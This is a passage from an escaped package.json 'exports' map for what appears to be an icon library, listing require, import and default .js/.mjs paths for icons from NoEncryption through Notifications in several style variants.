\"./NoEncryptionGmailerrorredTwoTone.js\",\n      \"import\": \"./NoEncryptionGmailerrorredTwoTone.mjs\",\n      \"default\": \"./NoEncryptionGmailerrorredTwoTone.mjs\"\n    },\n    \"./NoEncryptionOutlined\": {\n      \"require\": \"./NoEncryptionOutlined.js\",\n      \"import\": \"./NoEncryptionOutlined.mjs\",\n      \"default\": \"./NoEncryptionOutlined.mjs\"\n    },\n    \"./NoEncryptionRounded\": {\n      \"require\": \"./NoEncryptionRounded.js\",\n      \"import\": \"./NoEncryptionRounded.mjs\",\n      \"default\": \"./NoEncryptionRounded.mjs\"\n    },\n    \"./NoEncryptionSharp\": {\n      \"require\": \"./NoEncryptionSharp.js\",\n      \"import\": \"./NoEncryptionSharp.mjs\",\n      \"default\": \"./NoEncryptionSharp.mjs\"\n    },\n    \"./NoEncryptionTwoTone\": {\n      \"require\": \"./NoEncryptionTwoTone.js\",\n      \"import\": \"./NoEncryptionTwoTone.mjs\",\n      \"default\": \"./NoEncryptionTwoTone.mjs\"\n    },\n    \"./NoFlash\": {\n      \"require\": \"./NoFlash.js\",\n      \"import\": \"./NoFlash.mjs\",\n      \"default\": \"./NoFlash.mjs\"\n    },\n    \"./NoFlashOutlined\": {\n      \"require\": \"./NoFlashOutlined.js\",\n      \"import\": \"./NoFlashOutlined.mjs\",\n      \"default\": \"./NoFlashOutlined.mjs\"\n    },\n    \"./NoFlashRounded\": {\n      \"require\": \"./NoFlashRounded.js\",\n      \"import\": \"./NoFlashRounded.mjs\",\n      \"default\": \"./NoFlashRounded.mjs\"\n    },\n    \"./NoFlashSharp\": {\n      \"require\": \"./NoFlashSharp.js\",\n      \"import\": \"./NoFlashSharp.mjs\",\n      \"default\": \"./NoFlashSharp.mjs\"\n    },\n    \"./NoFlashTwoTone\": {\n      \"require\": \"./NoFlashTwoTone.js\",\n      \"import\": \"./NoFlashTwoTone.mjs\",\n      \"default\": \"./NoFlashTwoTone.mjs\"\n    },\n    \"./NoFood\": {\n      \"require\": \"./NoFood.js\",\n      \"import\": \"./NoFood.mjs\",\n      \"default\": \"./NoFood.mjs\"\n    },\n    \"./NoFoodOutlined\": {\n      \"require\": \"./NoFoodOutlined.js\",\n      \"import\": \"./NoFoodOutlined.mjs\",\n      \"default\": \"./NoFoodOutlined.mjs\"\n    },\n    \"./NoFoodRounded\": {\n      \"require\": \"./NoFoodRounded.js\",\n      \"import\": \"./NoFoodRounded.mjs\",\n      \"default\": \"./NoFoodRounded.mjs\"\n    },\n    \"./NoFoodSharp\": {\n      \"require\": \"./NoFoodSharp.js\",\n      \"import\": \"./NoFoodSharp.mjs\",\n      \"default\": \"./NoFoodSharp.mjs\"\n    },\n    \"./NoFoodTwoTone\": {\n      \"require\": \"./NoFoodTwoTone.js\",\n      \"import\": \"./NoFoodTwoTone.mjs\",\n      \"default\": \"./NoFoodTwoTone.mjs\"\n    },\n    \"./NoLuggage\": {\n      \"require\": \"./NoLuggage.js\",\n      \"import\": \"./NoLuggage.mjs\",\n      \"default\": \"./NoLuggage.mjs\"\n    },\n    \"./NoLuggageOutlined\": {\n      \"require\": \"./NoLuggageOutlined.js\",\n      \"import\": \"./NoLuggageOutlined.mjs\",\n      \"default\": \"./NoLuggageOutlined.mjs\"\n    },\n    \"./NoLuggageRounded\": {\n      \"require\": \"./NoLuggageRounded.js\",\n      \"import\": \"./NoLuggageRounded.mjs\",\n      \"default\": \"./NoLuggageRounded.mjs\"\n    },\n    \"./NoLuggageSharp\": {\n      \"require\": \"./NoLuggageSharp.js\",\n      \"import\": \"./NoLuggageSharp.mjs\",\n      \"default\": \"./NoLuggageSharp.mjs\"\n    },\n    \"./NoLuggageTwoTone\": {\n      \"require\": \"./NoLuggageTwoTone.js\",\n      \"import\": \"./NoLuggageTwoTone.mjs\",\n      \"default\": \"./NoLuggageTwoTone.mjs\"\n    },\n    \"./NoMeals\": {\n      \"require\": \"./NoMeals.js\",\n      \"import\": \"./NoMeals.mjs\",\n      \"default\": \"./NoMeals.mjs\"\n    },\n    \"./NoMealsOuline\": {\n      \"require\": \"./NoMealsOuline.js\",\n      \"import\": \"./NoMealsOuline.mjs\",\n      \"default\": \"./NoMealsOuline.mjs\"\n    },\n    \"./NoMealsOutlined\": {\n      \"require\": \"./NoMealsOutlined.js\",\n      \"import\": \"./NoMealsOutlined.mjs\",\n      \"default\": \"./NoMealsOutlined.mjs\"\n    },\n    \"./NoMealsRounded\": {\n      \"require\": \"./NoMealsRounded.js\",\n      \"import\": \"./NoMealsRounded.mjs\",\n      \"default\": \"./NoMealsRounded.mjs\"\n    },\n    \"./NoMealsSharp\": {\n      \"import\": \"./NoMealsSharp.mjs\",\n      \"require\": \"./NoMealsSharp.js\",\n      \"default\": \"./NoMealsSharp.mjs\"\n    },\n    \"./NoMealsTwoTone\": {\n      \"import\": \"./NoMealsTwoTone.mjs\",\n      \"require\": \"./NoMealsTwoTone.js\",\n      \"default\": \"./NoMealsTwoTone.mjs\"\n    },\n    \"./NoMeetingRoom\": {\n      \"import\": \"./NoMeetingRoom.mjs\",\n      \"require\": \"./NoMeetingRoom.js\",\n      \"default\": \"./NoMeetingRoom.mjs\"\n    },\n    \"./NoMeetingRoomOutlined\": {\n      \"require\": \"./NoMeetingRoomOutlined.js\",\n      \"import\": \"./NoMeetingRoomOutlined.mjs\",\n      \"default\": \"./NoMeetingRoomOutlined.mjs\"\n    },\n    \"./NoMeetingRoomRounded\": {\n      \"import\": \"./NoMeetingRoomRounded.mjs\",\n      \"require\": \"./NoMeetingRoomRounded.js\",\n      \"default\": \"./NoMeetingRoomRounded.mjs\"\n    },\n    \"./NoMeetingRoomSharp\": {\n      \"import\": \"./NoMeetingRoomSharp.mjs\",\n      \"require\": \"./NoMeetingRoomSharp.js\",\n      \"default\": \"./NoMeetingRoomSharp.mjs\"\n    },\n    \"./NoMeetingRoomTwoTone\": {\n      \"import\": \"./NoMeetingRoomTwoTone.mjs\",\n      \"require\": \"./NoMeetingRoomTwoTone.js\",\n      \"default\": \"./NoMeetingRoomTwoTone.mjs\"\n    },\n    \"./NoPhotography\": {\n      \"import\": \"./NoPhotography.mjs\",\n      \"require\": \"./NoPhotography.js\",\n      \"default\": \"./NoPhotography.mjs\"\n    },\n    \"./NoPhotographyOutlined\": {\n      \"import\": \"./NoPhotographyOutlined.mjs\",\n      \"require\": \"./NoPhotographyOutlined.js\",\n      \"default\": \"./NoPhotographyOutlined.mjs\"\n    },\n    \"./NoPhotographyRounded\": {\n      \"import\": \"./NoPhotographyRounded.mjs\",\n      \"require\": \"./NoPhotographyRounded.js\",\n      \"default\": \"./NoPhotographyRounded.mjs\"\n    },\n    \"./NoPhotographySharp\": {\n      \"import\": \"./NoPhotographySharp.mjs\",\n      \"require\": \"./NoPhotographySharp.js\",\n      \"default\": \"./NoPhotographySharp.mjs\"\n    },\n    \"./NoPhotographyTwoTone\": {\n      \"import\": \"./NoPhotographyTwoTone.mjs\",\n      \"require\": \"./NoPhotographyTwoTone.js\",\n      \"default\": \"./NoPhotographyTwoTone.mjs\"\n    },\n    \"./NoSim\": {\n      \"import\": \"./NoSim.mjs\",\n      \"require\": \"./NoSim.js\",\n      \"default\": \"./NoSim.mjs\"\n    },\n    \"./NoSimOutlined\": {\n      \"import\": \"./NoSimOutlined.mjs\",\n      \"require\": \"./NoSimOutlined.js\",\n      \"default\": \"./NoSimOutlined.mjs\"\n    },\n    \"./NoSimRounded\": {\n      \"import\": \"./NoSimRounded.mjs\",\n      \"require\": \"./NoSimRounded.js\",\n      \"default\": \"./NoSimRounded.mjs\"\n    },\n    \"./NoSimSharp\": {\n      \"import\": \"./NoSimSharp.mjs\",\n      \"require\": \"./NoSimSharp.js\",\n      \"default\": \"./NoSimSharp.mjs\"\n    },\n    \"./NoSimTwoTone\": {\n      \"import\": \"./NoSimTwoTone.mjs\",\n      \"require\": \"./NoSimTwoTone.js\",\n      \"default\": \"./NoSimTwoTone.mjs\"\n    },\n    \"./NoStroller\": {\n      \"import\": \"./NoStroller.mjs\",\n      \"require\": \"./NoStroller.js\",\n      \"default\": \"./NoStroller.mjs\"\n    },\n    \"./NoStrollerOutlined\": {\n      \"import\": \"./NoStrollerOutlined.mjs\",\n      \"require\": \"./NoStrollerOutlined.js\",\n      \"default\": \"./NoStrollerOutlined.mjs\"\n    },\n    \"./NoStrollerRounded\": {\n      \"import\": \"./NoStrollerRounded.mjs\",\n      \"require\": \"./NoStrollerRounded.js\",\n      \"default\": \"./NoStrollerRounded.mjs\"\n    },\n    \"./NoStrollerSharp\": {\n      \"import\": \"./NoStrollerSharp.mjs\",\n      \"require\": \"./NoStrollerSharp.js\",\n      \"default\": \"./NoStrollerSharp.mjs\"\n    },\n    \"./NoStrollerTwoTone\": {\n      \"import\": \"./NoStrollerTwoTone.mjs\",\n      \"require\": \"./NoStrollerTwoTone.js\",\n      \"default\": \"./NoStrollerTwoTone.mjs\"\n    },\n    \"./NoTransfer\": {\n      \"import\": \"./NoTransfer.mjs\",\n      \"require\": \"./NoTransfer.js\",\n      \"default\": \"./NoTransfer.mjs\"\n    },\n    \"./NoTransferOutlined\": {\n      \"import\": \"./NoTransferOutlined.mjs\",\n      \"require\": \"./NoTransferOutlined.js\",\n      \"default\": \"./NoTransferOutlined.mjs\"\n    },\n    \"./NoTransferRounded\": {\n      \"import\": \"./NoTransferRounded.mjs\",\n      \"require\": \"./NoTransferRounded.js\",\n      \"default\": \"./NoTransferRounded.mjs\"\n    },\n    \"./NoTransferSharp\": {\n      \"import\": \"./NoTransferSharp.mjs\",\n      \"require\": \"./NoTransferSharp.js\",\n      \"default\": \"./NoTransferSharp.mjs\"\n    },\n    \"./NoTransferTwoTone\": {\n      \"import\": \"./NoTransferTwoTone.mjs\",\n      \"require\": \"./NoTransferTwoTone.js\",\n      \"default\": \"./NoTransferTwoTone.mjs\"\n    },\n    \"./NoiseAware\": {\n      \"import\": \"./NoiseAware.mjs\",\n      \"require\": \"./NoiseAware.js\",\n      \"default\": \"./NoiseAware.mjs\"\n    },\n    \"./NoiseAwareOutlined\": {\n      \"import\": \"./NoiseAwareOutlined.mjs\",\n      \"require\": \"./NoiseAwareOutlined.js\",\n      \"default\": \"./NoiseAwareOutlined.mjs\"\n    },\n    \"./NoiseAwareRounded\": {\n      \"require\": \"./NoiseAwareRounded.js\",\n      \"import\": \"./NoiseAwareRounded.mjs\",\n      \"default\": \"./NoiseAwareRounded.mjs\"\n    },\n    \"./NoiseAwareSharp\": {\n      \"require\": \"./NoiseAwareSharp.js\",\n      \"import\": \"./NoiseAwareSharp.mjs\",\n      \"default\": \"./NoiseAwareSharp.mjs\"\n    },\n    \"./NoiseAwareTwoTone\": {\n      \"require\": \"./NoiseAwareTwoTone.js\",\n      \"import\": \"./NoiseAwareTwoTone.mjs\",\n      \"default\": \"./NoiseAwareTwoTone.mjs\"\n    },\n    \"./NoiseControlOff\": {\n      \"require\": \"./NoiseControlOff.js\",\n      \"import\": \"./NoiseControlOff.mjs\",\n      \"default\": \"./NoiseControlOff.mjs\"\n    },\n    \"./NoiseControlOffOutlined\": {\n      \"require\": \"./NoiseControlOffOutlined.js\",\n      \"import\": \"./NoiseControlOffOutlined.mjs\",\n      \"default\": \"./NoiseControlOffOutlined.mjs\"\n    },\n    \"./NoiseControlOffRounded\": {\n      \"import\": \"./NoiseControlOffRounded.mjs\",\n      \"require\": \"./NoiseControlOffRounded.js\",\n      \"default\": \"./NoiseControlOffRounded.mjs\"\n    },\n    \"./NoiseControlOffSharp\": {\n      \"require\": \"./NoiseControlOffSharp.js\",\n      \"import\": \"./NoiseControlOffSharp.mjs\",\n      \"default\": \"./NoiseControlOffSharp.mjs\"\n    },\n    \"./NoiseControlOffTwoTone\": {\n      \"require\": \"./NoiseControlOffTwoTone.js\",\n      \"import\": \"./NoiseControlOffTwoTone.mjs\",\n      \"default\": \"./NoiseControlOffTwoTone.mjs\"\n    },\n    \"./NordicWalking\": {\n      \"require\": \"./NordicWalking.js\",\n      \"import\": \"./NordicWalking.mjs\",\n      \"default\": \"./NordicWalking.mjs\"\n    },\n    \"./NordicWalkingOutlined\": {\n      \"require\": \"./NordicWalkingOutlined.js\",\n      \"import\": \"./NordicWalkingOutlined.mjs\",\n      \"default\": \"./NordicWalkingOutlined.mjs\"\n    },\n    \"./NordicWalkingRounded\": {\n      \"require\": \"./NordicWalkingRounded.js\",\n      \"import\": \"./NordicWalkingRounded.mjs\",\n      \"default\": \"./NordicWalkingRounded.mjs\"\n    },\n    \"./NordicWalkingSharp\": {\n      \"require\": \"./NordicWalkingSharp.js\",\n      \"import\": \"./NordicWalkingSharp.mjs\",\n      \"default\": \"./NordicWalkingSharp.mjs\"\n    },\n    \"./NordicWalkingTwoTone\": {\n      \"require\": \"./NordicWalkingTwoTone.js\",\n      \"import\": \"./NordicWalkingTwoTone.mjs\",\n      \"default\": \"./NordicWalkingTwoTone.mjs\"\n    },\n    \"./North\": {\n      \"require\": \"./North.js\",\n      \"import\": \"./North.mjs\",\n      \"default\": \"./North.mjs\"\n    },\n    \"./NorthEast\": {\n      \"import\": \"./NorthEast.mjs\",\n      \"require\": \"./NorthEast.js\",\n      \"default\": \"./NorthEast.mjs\"\n    },\n    \"./NorthEastOutlined\": {\n      \"import\": \"./NorthEastOutlined.mjs\",\n      \"require\": \"./NorthEastOutlined.js\",\n      \"default\": \"./NorthEastOutlined.mjs\"\n    },\n    \"./NorthEastRounded\": {\n      \"import\": \"./NorthEastRounded.mjs\",\n      \"require\": \"./NorthEastRounded.js\",\n      \"default\": \"./NorthEastRounded.mjs\"\n    },\n    \"./NorthEastSharp\": {\n      \"import\": \"./NorthEastSharp.mjs\",\n      \"require\": \"./NorthEastSharp.js\",\n      \"default\": \"./NorthEastSharp.mjs\"\n    },\n    \"./NorthEastTwoTone\": {\n      \"import\": \"./NorthEastTwoTone.mjs\",\n      \"require\": \"./NorthEastTwoTone.js\",\n      \"default\": \"./NorthEastTwoTone.mjs\"\n    },\n    \"./NorthOutlined\": {\n      \"import\": \"./NorthOutlined.mjs\",\n      \"require\": \"./NorthOutlined.js\",\n      \"default\": \"./NorthOutlined.mjs\"\n    },\n    \"./NorthRounded\": {\n      \"import\": \"./NorthRounded.mjs\",\n      \"require\": \"./NorthRounded.js\",\n      \"default\": \"./NorthRounded.mjs\"\n    },\n    \"./NorthSharp\": {\n      \"import\": \"./NorthSharp.mjs\",\n      \"require\": \"./NorthSharp.js\",\n      \"default\": \"./NorthSharp.mjs\"\n    },\n    \"./NorthTwoTone\": {\n      \"import\": \"./NorthTwoTone.mjs\",\n      \"require\": \"./NorthTwoTone.js\",\n      \"default\": \"./NorthTwoTone.mjs\"\n    },\n    \"./NorthWest\": {\n      \"import\": \"./NorthWest.mjs\",\n      \"require\": \"./NorthWest.js\",\n      \"default\": \"./NorthWest.mjs\"\n    },\n    \"./NorthWestOutlined\": {\n      \"import\": \"./NorthWestOutlined.mjs\",\n      \"require\": \"./NorthWestOutlined.js\",\n      \"default\": \"./NorthWestOutlined.mjs\"\n    },\n    \"./NorthWestRounded\": {\n      \"import\": \"./NorthWestRounded.mjs\",\n      \"require\": \"./NorthWestRounded.js\",\n      \"default\": \"./NorthWestRounded.mjs\"\n    },\n    \"./NorthWestSharp\": {\n      \"require\": \"./NorthWestSharp.js\",\n      \"import\": \"./NorthWestSharp.mjs\",\n      \"default\": \"./NorthWestSharp.mjs\"\n    },\n    \"./NorthWestTwoTone\": {\n      \"require\": \"./NorthWestTwoTone.js\",\n      \"import\": \"./NorthWestTwoTone.mjs\",\n      \"default\": \"./NorthWestTwoTone.mjs\"\n    },\n    \"./NotAccessible\": {\n      \"import\": \"./NotAccessible.mjs\",\n      \"require\": \"./NotAccessible.js\",\n      \"default\": \"./NotAccessible.mjs\"\n    },\n    \"./NotAccessibleOutlined\": {\n      \"import\": \"./NotAccessibleOutlined.mjs\",\n      \"require\": \"./NotAccessibleOutlined.js\",\n      \"default\": \"./NotAccessibleOutlined.mjs\"\n    },\n    \"./NotAccessibleRounded\": {\n      \"import\": \"./NotAccessibleRounded.mjs\",\n      \"require\": \"./NotAccessibleRounded.js\",\n      \"default\": \"./NotAccessibleRounded.mjs\"\n    },\n    \"./NotAccessibleSharp\": {\n      \"import\": \"./NotAccessibleSharp.mjs\",\n      \"require\": \"./NotAccessibleSharp.js\",\n      \"default\": \"./NotAccessibleSharp.mjs\"\n    },\n    \"./NotAccessibleTwoTone\": {\n      \"require\": \"./NotAccessibleTwoTone.js\",\n      \"import\": \"./NotAccessibleTwoTone.mjs\",\n      \"default\": \"./NotAccessibleTwoTone.mjs\"\n    },\n    \"./NotInterested\": {\n      \"require\": \"./NotInterested.js\",\n      \"import\": \"./NotInterested.mjs\",\n      \"default\": \"./NotInterested.mjs\"\n    },\n    \"./NotInterestedOutlined\": {\n      \"require\": \"./NotInterestedOutlined.js\",\n      \"import\": \"./NotInterestedOutlined.mjs\",\n      \"default\": \"./NotInterestedOutlined.mjs\"\n    },\n    \"./NotInterestedRounded\": {\n      \"require\": \"./NotInterestedRounded.js\",\n      \"import\": \"./NotInterestedRounded.mjs\",\n      \"default\": \"./NotInterestedRounded.mjs\"\n    },\n    \"./NotInterestedSharp\": {\n      \"require\": \"./NotInterestedSharp.js\",\n      \"import\": \"./NotInterestedSharp.mjs\",\n      \"default\": \"./NotInterestedSharp.mjs\"\n    },\n    \"./NotInterestedTwoTone\": {\n      \"require\": \"./NotInterestedTwoTone.js\",\n      \"import\": \"./NotInterestedTwoTone.mjs\",\n      \"default\": \"./NotInterestedTwoTone.mjs\"\n    },\n    \"./NotListedLocation\": {\n      \"require\": \"./NotListedLocation.js\",\n      \"import\": \"./NotListedLocation.mjs\",\n      \"default\": \"./NotListedLocation.mjs\"\n    },\n    \"./NotListedLocationOutlined\": {\n      \"require\": \"./NotListedLocationOutlined.js\",\n      \"import\": \"./NotListedLocationOutlined.mjs\",\n      \"default\": \"./NotListedLocationOutlined.mjs\"\n    },\n    \"./NotListedLocationRounded\": {\n      \"require\": \"./NotListedLocationRounded.js\",\n      \"import\": \"./NotListedLocationRounded.mjs\",\n      \"default\": \"./NotListedLocationRounded.mjs\"\n    },\n    \"./NotListedLocationSharp\": {\n      \"require\": \"./NotListedLocationSharp.js\",\n      \"import\": \"./NotListedLocationSharp.mjs\",\n      \"default\": \"./NotListedLocationSharp.mjs\"\n    },\n    \"./NotListedLocationTwoTone\": {\n      \"require\": \"./NotListedLocationTwoTone.js\",\n      \"import\": \"./NotListedLocationTwoTone.mjs\",\n      \"default\": \"./NotListedLocationTwoTone.mjs\"\n    },\n    \"./NotStarted\": {\n      \"require\": \"./NotStarted.js\",\n      \"import\": \"./NotStarted.mjs\",\n      \"default\": \"./NotStarted.mjs\"\n    },\n    \"./NotStartedOutlined\": {\n      \"require\": \"./NotStartedOutlined.js\",\n      \"import\": \"./NotStartedOutlined.mjs\",\n      \"default\": \"./NotStartedOutlined.mjs\"\n    },\n    \"./NotStartedRounded\": {\n      \"import\": \"./NotStartedRounded.mjs\",\n      \"require\": \"./NotStartedRounded.js\",\n      \"default\": \"./NotStartedRounded.mjs\"\n    },\n    \"./NotStartedSharp\": {\n      \"import\": \"./NotStartedSharp.mjs\",\n      \"require\": \"./NotStartedSharp.js\",\n      \"default\": \"./NotStartedSharp.mjs\"\n    },\n    \"./NotStartedTwoTone\": {\n      \"import\": \"./NotStartedTwoTone.mjs\",\n      \"require\": \"./NotStartedTwoTone.js\",\n      \"default\": \"./NotStartedTwoTone.mjs\"\n    },\n    \"./Note\": {\n      \"import\": \"./Note.mjs\",\n      \"require\": \"./Note.js\",\n      \"default\": \"./Note.mjs\"\n    },\n    \"./NoteAdd\": {\n      \"import\": \"./NoteAdd.mjs\",\n      \"require\": \"./NoteAdd.js\",\n      \"default\": \"./NoteAdd.mjs\"\n    },\n    \"./NoteAddOutlined\": {\n      \"import\": \"./NoteAddOutlined.mjs\",\n      \"require\": \"./NoteAddOutlined.js\",\n      \"default\": \"./NoteAddOutlined.mjs\"\n    },\n    \"./NoteAddRounded\": {\n      \"import\": \"./NoteAddRounded.mjs\",\n      \"require\": \"./NoteAddRounded.js\",\n      \"default\": \"./NoteAddRounded.mjs\"\n    },\n    \"./NoteAddSharp\": {\n      \"import\": \"./NoteAddSharp.mjs\",\n      \"require\": \"./NoteAddSharp.js\",\n      \"default\": \"./NoteAddSharp.mjs\"\n    },\n    \"./NoteAddTwoTone\": {\n      \"import\": \"./NoteAddTwoTone.mjs\",\n      \"require\": \"./NoteAddTwoTone.js\",\n      \"default\": \"./NoteAddTwoTone.mjs\"\n    },\n    \"./NoteAlt\": {\n      \"import\": \"./NoteAlt.mjs\",\n      \"require\": \"./NoteAlt.js\",\n      \"default\": \"./NoteAlt.mjs\"\n    },\n    \"./NoteAltOutlined\": {\n      \"import\": \"./NoteAltOutlined.mjs\",\n      \"require\": \"./NoteAltOutlined.js\",\n      \"default\": \"./NoteAltOutlined.mjs\"\n    },\n    \"./NoteAltRounded\": {\n      \"import\": \"./NoteAltRounded.mjs\",\n      \"require\": \"./NoteAltRounded.js\",\n      \"default\": \"./NoteAltRounded.mjs\"\n    },\n    \"./NoteAltSharp\": {\n      \"import\": \"./NoteAltSharp.mjs\",\n      \"require\": \"./NoteAltSharp.js\",\n      \"default\": \"./NoteAltSharp.mjs\"\n    },\n    \"./NoteAltTwoTone\": {\n      \"import\": \"./NoteAltTwoTone.mjs\",\n      \"require\": \"./NoteAltTwoTone.js\",\n      \"default\": \"./NoteAltTwoTone.mjs\"\n    },\n    \"./NoteOutlined\": {\n      \"import\": \"./NoteOutlined.mjs\",\n      \"require\": \"./NoteOutlined.js\",\n      \"default\": \"./NoteOutlined.mjs\"\n    },\n    \"./NoteRounded\": {\n      \"import\": \"./NoteRounded.mjs\",\n      \"require\": \"./NoteRounded.js\",\n      \"default\": \"./NoteRounded.mjs\"\n    },\n    \"./NoteSharp\": {\n      \"import\": \"./NoteSharp.mjs\",\n      \"require\": \"./NoteSharp.js\",\n      \"default\": \"./NoteSharp.mjs\"\n    },\n    \"./NoteTwoTone\": {\n      \"import\": \"./NoteTwoTone.mjs\",\n      \"require\": \"./NoteTwoTone.js\",\n      \"default\": \"./NoteTwoTone.mjs\"\n    },\n    \"./Notes\": {\n      \"import\": \"./Notes.mjs\",\n      \"require\": \"./Notes.js\",\n      \"default\": \"./Notes.mjs\"\n    },\n    \"./NotesOutlined\": {\n      \"import\": \"./NotesOutlined.mjs\",\n      \"require\": \"./NotesOutlined.js\",\n      \"default\": \"./NotesOutlined.mjs\"\n    },\n    \"./NotesRounded\": {\n      \"import\": \"./NotesRounded.mjs\",\n      \"require\": \"./NotesRounded.js\",\n      \"default\": \"./NotesRounded.mjs\"\n    },\n    \"./NotesSharp\": {\n      \"import\": \"./NotesSharp.mjs\",\n      \"require\": \"./NotesSharp.js\",\n      \"default\": \"./NotesSharp.mjs\"\n    },\n    \"./NotesTwoTone\": {\n      \"import\": \"./NotesTwoTone.mjs\",\n      \"require\": \"./NotesTwoTone.js\",\n      \"default\": \"./NotesTwoTone.mjs\"\n    },\n    \"./NotificationAdd\": {\n      \"import\": \"./NotificationAdd.mjs\",\n      \"require\": \"./NotificationAdd.js\",\n      \"default\": \"./NotificationAdd.mjs\"\n    },\n    \"./NotificationAddOutlined\": {\n      \"import\": \"./NotificationAddOutlined.mjs\",\n      \"require\": \"./NotificationAddOutlined.js\",\n      \"default\": \"./NotificationAddOutlined.mjs\"\n    },\n    \"./NotificationAddRounded\": {\n      \"import\": \"./NotificationAddRounded.mjs\",\n      \"require\": \"./NotificationAddRounded.js\",\n      \"default\": \"./NotificationAddRounded.mjs\"\n    },\n    \"./NotificationAddSharp\": {\n      \"import\": \"./NotificationAddSharp.mjs\",\n      \"require\": \"./NotificationAddSharp.js\",\n      \"default\": \"./NotificationAddSharp.mjs\"\n    },\n    \"./NotificationAddTwoTone\": {\n      \"import\": \"./NotificationAddTwoTone.mjs\",\n      \"require\": \"./NotificationAddTwoTone.js\",\n      \"default\": \"./NotificationAddTwoTone.mjs\"\n    },\n    \"./NotificationImportant\": {\n      \"import\": \"./NotificationImportant.mjs\",\n      \"require\": \"./NotificationImportant.js\",\n      \"default\": \"./NotificationImportant.mjs\"\n    },\n    \"./NotificationImportantOutlined\": {\n      \"import\": \"./NotificationImportantOutlined.mjs\",\n      \"require\": \"./NotificationImportantOutlined.js\",\n      \"default\": \"./NotificationImportantOutlined.mjs\"\n    },\n    \"./NotificationImportantRounded\": {\n      \"import\": \"./NotificationImportantRounded.mjs\",\n      \"require\": \"./NotificationImportantRounded.js\",\n      \"default\": \"./NotificationImportantRounded.mjs\"\n    },\n    \"./NotificationImportantSharp\": {\n      \"import\": \"./NotificationImportantSharp.mjs\",\n      \"require\": \"./NotificationImportantSharp.js\",\n      \"default\": \"./NotificationImportantSharp.mjs\"\n    },\n    \"./NotificationImportantTwoTone\": {\n      \"import\": \"./NotificationImportantTwoTone.mjs\",\n      \"require\": \"./NotificationImportantTwoTone.js\",\n      \"default\": \"./NotificationImportantTwoTone.mjs\"\n    },\n    \"./Notifications\": {\n      \"import\": \"./Notifications.mjs\",\n      \"require\": \"./Notifications.js\",\n      \"default\": \"./Notifications.mjs\"\n    },\n    \"./NotificationsActive\": {\n      \"import\": \"./NotificationsActive.mjs\",\n      \"require\": \"./NotificationsActive.js\",\n      \"default\": \"./NotificationsActive.mjs\"\n    },\n    \"./NotificationsActiveOutlined\": {\n      \"import\": \"./NotificationsActiveOutlined.mjs\",\n      \"require\": \"./NotificationsActiveOutlined.js\",\n      \"default\": \"./NotificationsActiveOutlined.mjs\"\n    },\n    \"./NotificationsActiveRounded\": {\n      \"import\": \"./NotificationsActiveRounded.mjs\",\n      \"require\": \"./NotificationsActiveRounded.js\",\n      \"default\": \"./NotificationsActiveRounded.mjs\"\n    },\n    \"./NotificationsActiveSharp\": {\n      \"import\": \"./NotificationsActiveSharp.mjs\",\n      \"require\": \"./NotificationsActiveSharp.js\",\n      \"default\": \"./NotificationsActiveSharp.mjs\"\n    },\n    \"./NotificationsActiveTwoTone\": {\n      \"import\": \"./NotificationsActiveTwoTone.mjs\",\n      \"require\": \"./NotificationsActiveTwoTone.js\",\n      \"default\": \"./NotificationsActiveTwoTone.mjs\"\n    },\n    \"./NotificationsNone\": {\n      \"import\": \"./NotificationsNone.mjs\",\n      \"require\": \"./NotificationsNone.js\",\n      \"default\": \"./NotificationsNone.mjs\"\n    },\n    \"./NotificationsNoneOutlined\": {\n      \"import\": \"./NotificationsNoneOutlined.mjs\",\n      \"require\": \"./NotificationsNoneOutlined.js\",\n      \"default\": \"./NotificationsNoneOutlined.mjs\"\n    },\n    \"./NotificationsNoneRounded\": {\n      \"import\": \"./NotificationsNoneRounded.mjs\",\n      \"require\": \"./NotificationsNoneRounded.js\",\n      \"default\": \"./NotificationsNoneRounded.mjs\"\n    },\n    \"./NotificationsNoneSharp\": {\n      \"import\": \"./NotificationsNoneSharp.mjs\",\n      \"require\": \"./NotificationsNoneSharp.js\",\n      \"default\": \"./NotificationsNoneSharp.mjs\"\n    },\n    \"./NotificationsNoneTwoTone\": {\n      \"import\": \"./NotificationsNoneTwoTone.mjs\",\n      \"require\": \"./NotificationsNoneTwoTone.js\",\n      \"default\": \"./NotificationsNoneTwoTone.mjs\"\n    },\n    \"./NotificationsOff\": {\n      \"import\": \"./NotificationsOff.mjs\",\n      \"require\": \"./NotificationsOff.js\",\n      \"default\": \"./NotificationsOff.mjs\"\n    },\n    \"./NotificationsOffOutlined\": {\n      \"import\": \"./NotificationsOffOutlined.mjs\",\n      \"require\": \"./NotificationsOffOutlined.js\",\n      \"default\": \"./NotificationsOffOutlined.mjs\"\n    },\n    \"./NotificationsOffRounded\": {\n      \"import\": \"./NotificationsOffRounded.mjs\",\n      \"require\": \"./NotificationsOffRounded.js\",\n      \"default\": \"./NotificationsOffRounded.mjs\"\n    },\n    \"./NotificationsOffSharp\": {\n      \"import\": \"./NotificationsOffSharp.mjs\",\n      \"require\": \"./NotificationsOffSharp.js\",\n      \"default\": \"./NotificationsOffSharp.mjs\"\n    },\n    \"./NotificationsOffTwoTone\": {\n      \"import\": \"./NotificationsOffTwoTone.mjs\",\n      \"require\": \"./NotificationsOffTwoTone.js\",\n      \"default\": \"./NotificationsOffTwoTone.mjs\"\n    },\n    \"./NotificationsOutlined\": {\n      \"import\": \"./NotificationsOutlined.mjs\",\n      \"require\": \"./NotificationsOutlined.js\",\n      \"default\": \"./NotificationsOutlined.mjs\"\n    },\n    \"./NotificationsPaused\": {\n      \"import\": \"./NotificationsPaused.mjs\",\n      \"require\": \"./NotificationsPaused.js\",\n      \"default\": \"./NotificationsPaused.mjs\"\n    },\n    \"./NotificationsPausedOutlined\": {\n      \"import\": \"./NotificationsPausedOutlined.mjs\",\n      \"require\": \"./NotificationsPausedOutlined.js\",\n      \"default\": \"./NotificationsPausedOutlined.mjs\"\n    },\n    \"./NotificationsPausedRounded\": {\n      \"import\": \"./NotificationsPausedRounded.mjs\",\n      \"require\": \"./NotificationsPausedRounded.js\",\n      \"default\": \"./NotificationsPausedRounded.mjs\"\n    },\n    \"./NotificationsPausedSharp\": {\n      \"import\": \"./NotificationsPausedSharp.mjs\",\n      \"require\": \"./NotificationsPausedSharp.js\",\n      \"default\": \"./NotificationsPausedSharp.mjs\"\n    },\n    \"./NotificationsPausedTwoTone\": {\n      \"import\": \"./NotificationsPausedTwoTone.mjs\",\n      \"require\": \"./NotificationsPausedTwoTone.js\",\n      \"default\": \"./NotificationsPausedTwoTone.mjs\"\n    },\n    \"./NotificationsRounded\": {\n      \"import\": \"./NotificationsRounded.mjs\",\n      \"require\": \"./NotificationsRounded.js\",\n      \"default\": 